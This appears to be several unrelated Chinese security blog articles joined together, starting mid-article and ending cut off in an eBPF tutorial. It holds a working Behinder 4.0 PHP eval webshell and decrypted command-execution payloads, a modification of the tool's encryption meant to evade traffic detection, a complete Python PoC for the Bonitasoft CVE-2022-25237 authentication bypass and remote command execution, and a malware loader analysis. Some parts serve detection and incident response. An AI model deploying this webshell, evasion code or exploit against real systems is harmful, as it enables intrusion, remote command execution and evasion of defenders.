base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。 继续分析下一个包,代码如下,这里就进行了命令执行 error_reporting(0); function main($whatever) {        $result = array();        ob_start();    phpinfo();    $info = ob_get_contents();    ob_end_clean();        $driveList ="";        if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){                for($i=65;$i<=90;$i++) {                $drive=chr($i).':/';                file_exists($drive) ? $driveList=$driveList.$drive.";":'';           }       } else {        $driveList="/";   }        $currentPath=getcwd();        //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;    $osInfo=PHP_OS;        $arch="64";        if (PHP_INT_SIZE == 4) {        $arch = "32";       }        $localIp=gethostbyname(gethostname());        if ($localIp!=$_SERVER['SERVER_ADDR']) {                $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];       }        $extraIps=getInnerIP();        foreach($extraIps as $ip) {                if (strpos($localIp,$ip)===false) {                    $localIp=$localIp." ".$ip;               }       }        $basicInfoObj=array(        "basicInfo"=>base64_encode($info),        "driveList"=>base64_encode($driveList),        "currentPath"=>base64_encode($currentPath),        "osInfo"=>base64_encode($osInfo),        "arch"=>base64_encode($arch),        "localIp"=>base64_encode($localIp));            //echo json_encode($result);            $result["status"] = base64_encode("success");            $result["msg"] = base64_encode(json_encode($basicInfoObj));            //echo json_encode($result);            //echo openssl_encrypt(json_encode($result), "AES128", $key);            echo encrypt(json_encode($result));   }    function getInnerIP()   {        $result = array();        if (is_callable("exec"))       {                $result = array();                exec('arp -a',$sa);                foreach($sa as $s)               {                        if (strpos($s,'---')!==false) {                    $parts=explode(' ',$s);                    $ip=$parts[1];                    array_push($result,$ip);               }                //var_dump(explode(' ',$s));                          // array_push($result,explode(' ',$s)[1]);               }       }        return $result;   }    function encrypt($data)   {            $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {                $data[$i] = $data[$i]^$key[$i+1&15];           }            $bs="base64_"."encode";        $after=$bs($data."");            return $after;   }    $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLc $whatever=base64_decode($whatever); main($whatever); 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。 把相应包解密出来,内容如下 { "status":"c3VjY2Vzcw==", "msg":"xxx略,篇幅太长" } 把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。 至于后面的命令执行部分,是比较好分析的 把流量包提取出来,进行解密 @error_reporting(0); function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;   }else{        return iconv('gbk','utf-8//IGNORE',$str);   } } function main($cmd,$path) {    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);   } else {        $PadtJn = array();   }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";   }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'           ),            array(                'pipe',                'w'           ),            array(                'pipe',                'w'           )       ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);       }        @proc_close($handle);   } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);   } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);   } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);           }       }        @pclose($fp);   } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result));        return;   }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result)); } function encrypt($data) {    $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];   }    $bs="base64_"."encode";        $after=$bs($data."");    return $after; } $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk="; $cmd=base64_decode($cmd); $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8="; $path=base64_decode($path); main($cmd,$path); $cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami $path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/ 对应回显是 {"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"} 一些疑问和改进点 简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。 2、针对 aes,xor_base64 进行加密的防御型脚本检测。 3、冰蝎的改写,是否可以采用新型加密方式。 0x04 冰蝎传输与攻防 冰蝎传输与连马&命令执行 一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测 在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。 首先看一下冰蝎Payload流转的流程图: 可以分为这五个流程 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端; 2、服务端收到 Payload 密文后,利用解密算法进行解密; 3、服务端执行解密后的 Payload,并获取执行结果; 这三步的基础是 shell.php,通过 post 请求传 body <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。 对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie    echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。 接着 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端; 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。 响应内容略,在上文中已经提到过。 由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。 如下是一个最简单的 php 版本的传输协议: 传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此) 针对冰蝎 xor_base64 的检测脚本编写 内容是基于 LiRiu 师傅的文章写的 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。 因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包 针对一些 HTTP 头的检测 HTTP 请求头 它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。 Content-Length 较大 Content-Length: 8244 可以作为辅助特征进行检测。 冰蝎通讯默认使用长连接 造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。 Connection: Keep-Alive 端口检测 冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。 针对恶意脚本内容的检测 冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头 @error_reporting(0);   function main 所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下 from base64 import b64decode phrases = [    "assert|eval(base64_decode('".encode(),    b'<?\n@error_reporting(0);\n\nfunctio',    b'<?\nfunction main($action, $remot',    b'<?\n@error_reporting(0);\nset_time',    b'\nerror_reporting(0);\n\nfunction m',    b'<?\n@error_reporting(0);\n\n\nfuncti',    b'<?\nerror_reporting(0);\nfunction ',    b'@error_reporting(0);\nfunction ma',    b'<?php\n\n$taskResult = array();\n$p',    b"<?\nerror_reporting(0);\nheader('C",    b'@error_reporting(0);\n\nfunction g',    b'<?\n@error_reporting(0);\n@set_tim', ] def xor(l0, l1):    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]    return "".join(ret)         def check(cipher):    cipher = b64decode(cipher)    for phrase in phrases:        p0 = phrase[0:16]        p1 = phrase[16:]                c0 = cipher[0:16]        c1 = cipher[16:16+len(p1)]        k0 = xor(p0, c0)        k1 = xor(p1, c1)        if k1 in k0:            return k0    return None cipher = "..." HeaderData = "..." key = check(cipher) if key:    print("[+]", cipher[:32], "is XOR Behinder Request!")    print("[+] The Key of Behinder is ", key) else:    print("[-]", cipher[:32], "not Behinder Request..") 接着加上辅助判断 def auxiliaryPoints(HeaderData):      # 辅助判断的函数    evilPoint = 0    list = []    LightBlacklist = [        b'Accept: application/json, text/javascript, */*; q=0.01',        b'Accept-Encoding: identity',        b'Connection: Keep-Alive',   ]    for temp in HeaderData:        list.append(temp)    lenData = 0    while lenData <= HeaderData.length():        if(list[lenData].contains(LightBlacklist)):            evilPoint = evilPoint + 10    return evilPoint LiRiu 师傅的可以,但是我自己的包失败了。。 冰蝎马的改写与绕过 tips 冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。 加密算法 本地默认的 aes 传输协议加密算法如下:    private byte[] Encrypt(byte[] data) throws Exception   {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try       {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});       }        catch (Throwable error)       {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("\n", "").replace("\r", "");            encrypted=result.getBytes();       }        return encrypted;   } 服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组 修改后本地: private byte[] Encrypt(byte[] data) throws Exception {    String key="e45e329feb5d925b";    byte[] raw = key.getBytes("utf-8");    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);    byte[] encrypted = cipher.doFinal(data);    Class baseCls;    try   {        baseCls=Class.forName("java.util.Base64");        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});   }    catch (Throwable error)   {        baseCls=Class.forName("sun.misc.BASE64Encoder");        Object Encoder=baseCls.newInstance();        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        result=result.replace("\n", "").replace("\r", "");        encrypted=result.getBytes();   }    //增加魔法尾巴    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;    java.util.Random random=new java.util.Random();    byte[] buf=new byte[magicNum];    for (int i=0;i<buf.length;i++)   {        buf[i]=(byte)random.nextInt(256);   }    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();    output.write(encrypted);    output.write(buf);    return output.toByteArray(); } 远程 由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下: function Encrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));   $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度   for($i=0;$i<$magicNum;$i++) {   $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴   }   return $encrypted;   } 解密算法 在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。 本地 private byte[] Decrypt(byte[] data) throws Exception {    String k="e45e329feb5d925b";    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));    byte[] decodebs;    Class baseCls ;            try{                baseCls=Class.forName("java.util.Base64");                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});           }            catch (Throwable e)           {                baseCls = Class.forName("sun.misc.BASE64Decoder");                Object Decoder=baseCls.newInstance();                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});           }    return c.doFinal(decodebs); } 远程 function Decrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度   $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail   return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);   } 从理论上来说,这一种方式也可以绕过 xor_base64 的检测 0x05 小结 对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。 而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。
Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
一、漏洞原理 漏洞简述 Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序; Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。 Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。 通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。 漏洞影响范围 供应商:Bonitasoft 产品:Bonita Platform 确认受影响版本:< 2022.1-u0 修复版本:/ 社区版:< 2022.1-u0 (7.14.0) 订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7 漏洞分析 本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。 按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。 同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。 分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。 路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。 通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。 (checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述) 下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。 开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。 循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。 在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。 根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。 另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。 getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。 根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。 从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。 二、漏洞复现实战 环境搭建 docker镜像: https://hub.docker.com/_/bonita vulfocus: bonita镜像 漏洞复现 首先以超级管理员身份进入bonita,创建用户功能 创建普通用户 之后根据POC进行复现 POC: import requests import sys class exploit:    try:        session = requests.session()        bonita_user = sys.argv[1]        bonita_password = sys.argv[2]        target_path = sys.argv[3]        cmd = sys.argv[4]        tempPath = ""        extension_id = ""        bonita_default_user = "install"        bonita_default_password = "install"        platform_default_user = "platformAdmin"        platform_default_password = "platform"    except:        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")        exit() def try_default_logins():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        return False        # This does not seem to work when authenticating as platformAdmin, maybe it can though.    #     req_url = f"{exploit.target_path}/platformloginservice"    #     req_cookies = {"x": "x"}    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    #     if r.status_code == 200:    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")    #         return True    else:        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")        return True def login():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        print("[!] Could not get a valid session using those credentials.")        exit()    else:        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}") def upload_api_extension():    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"    files=[   ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))   ]    r = exploit.session.post(req_url, files=files)    exploit.tempPath = r.json()["tempPath"] def activate_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"    req_headers = {"Content-Type": "application/json;charset=UTF-8"}    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}    r = exploit.session.post(req_url, headers=req_headers, json=req_json)    exploit.extension_id = r.json()["id"] def delete_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"    exploit.session.delete(req_url) def run_cmd():    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"    r = exploit.session.get(req_url)    print(r.json()["out"]) if not try_default_logins():    print("[!] Did not find default creds, trying supplied credentials.")    login() upload_api_extension() activate_api_extension() try:    run_cmd() except:    delete_api_extension() delete_api_extension() 执行POC 漏洞修复 建议更新至2022.1-u0以上版本 结束语 本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。 根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
记一次2022某地HVV中的逆向分析
前言 事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源 直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。 逆向分析 查壳工具DIE看是否加壳 当然其他查壳工具也可以exeinfope等,看到的东西不一样 可以看到是64位的应用,无壳,IDA静态分析 直接进入主函数,直接F5逆向main函数c代码 主函数中使用的函数比较少 int __cdecl main(int argc, const char **argv, const char **envp) { HRSRC ResourceW; // rbx HGLOBAL Resource; // rbp signed int v5; // eax size_t v6; // rsi size_t v7; // rcx void *v8; // rdi ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA"); Resource = LoadResource(0i64, ResourceW); v5 = SizeofResource(0i64, ResourceW); v6 = v5; v7 = (unsigned int)(v5 + 1); if ( v5 == -1 )   v7 = -1i64; v8 = malloc(v7); memset(v8, 0, (int)v6 + 1); memcpy(v8, Resource, v6); sub_140001070(v8); return 0; } 简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋 给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070 可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点 简单计算一下地址,IDA的起始地址为00000001400015C4 FindResourcew地址为00000001400015C4 在x64dbg中找到起始地址00007FF638B915C4 根据偏移量跳转下断点 F7按步调试 在loadResource函数中追踪内存 这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容 说明我们的分析没有问题,继续向下调试 因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。 调试走到这里,可以发现走的是循环 可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为 因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW 可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试 申请虚拟空间内存,然后向下为写入内存 解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。 在向下就是创建进程起服务svchost.exe了 小结 钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
linux跟踪技术之ebpf
ebpf简介 eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。 ebpf追踪 ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配: kprobe uprobe tracepoint USDT 通常可以通过以下三种工具使用ebpf: bcc libbpf bpftrace bcc BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。 源码安装bcc v0.25.0 首先clone bcc 源码仓库 git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块 安装依赖 apt install flex bison libdebuginfod-dev libclang-14-dev 编译bcc mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数 编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询 使用python + bcc 跟踪内核函数 bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下: #!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # execsnoop Trace new processes via exec() syscalls. #           For Linux, uses BCC, eBPF. Embedded C. # # USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE] #                 [--max-args MAX_ARGS] # # This currently will print up to a 